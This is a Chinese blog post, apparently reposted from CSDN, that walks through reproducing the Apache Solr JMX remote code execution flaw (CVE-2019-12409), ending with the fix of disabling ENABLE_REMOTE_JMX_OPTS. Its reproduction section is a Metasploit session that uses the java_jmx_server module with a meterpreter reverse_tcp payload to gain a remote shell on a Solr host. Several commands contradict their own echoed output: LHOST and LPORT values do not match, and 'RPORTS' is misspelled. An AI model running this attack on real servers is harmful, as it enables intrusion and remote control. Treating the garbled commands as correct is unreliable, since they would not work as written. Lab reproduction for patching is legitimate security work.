Apache Solr JMX服务远程代码执行漏洞复现

##0x00 漏洞介绍
该漏洞源于默认配置文件solr.in.sh中的ENABLE_REMOTE_JMX_OPTS配置选项存在安全风险。
Apache Solr的8.1.1和8.2.0版本的自带配置文件solr.in.sh中存在ENABLE_REMOTE_JMX_OPTS="true"选项。
如果使用受影响版本中的默认solr.in.sh文件,那么将启用JMX监视并将其暴露在RMI_PORT上(默认值= 18983),
并且无需进行任何身份验证。 如果防火墙中的入站流量打开了此端口,则具有Solr节点网络访问权限的任何人都将能够访问JMX,
并且可以上传恶意代码在Solr服务器上执行。该漏洞不影响Windows系统的用户,仅影响部分版本的Linux用户。

##0x01 影响版本
Apache Solr8.1.1和8.2.0版本

##0x02 漏洞危害
如果受害者使用了该默认配置,则会在默认端口18983开放JMX服务,且默认未开启认证。任何可访问此端口的攻击者可利用此漏洞向受影响服务发起攻击,执行任意代码。

##0x03 准备工作
1) 搭建环境
安装Apache Solr 8.20
wget https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip


2) 启动环境

##0x04 漏洞复现
1) 访问默认端口 8993 出现以下界面正面漏洞环境搭建成功


2) 攻击机操作
#第一步
msf5 > use exploit/multi/misc/java_jmx_server
msf5 exploit(multi/misc/java_jmx_server) > set RHOSTS 192.168.50.33
RhOSTS => 192.168.50.33
msf5 exploit(multi/misc/java_jmx_server) > set RPORTS 18983
#第二步
msf5 > use java/meterpreter/reverse_tcp
msf5 payload(java/meterpreter/reverse_tcp) > set LHOST 127.0.0.1
LHOST => 192.168.50.33
msf5 payload(java/meterpreter/reverse_tcp) > set LPORT 192.168.50.33
LPORT => 4444
msf5 exploit(multi/misc/java_jmx_server) > run

##0x05 修复方案
将solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS选项设置为false,然后重启Solr服务。

##0x06 参考链接
https://www.t00ls.net/articles-53901.html
https://github.com/jas502n/CVE-2019-12409

发布了46 篇原创文章 · 获赞 13 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/qq_41770175/article/details/103237198
今日推荐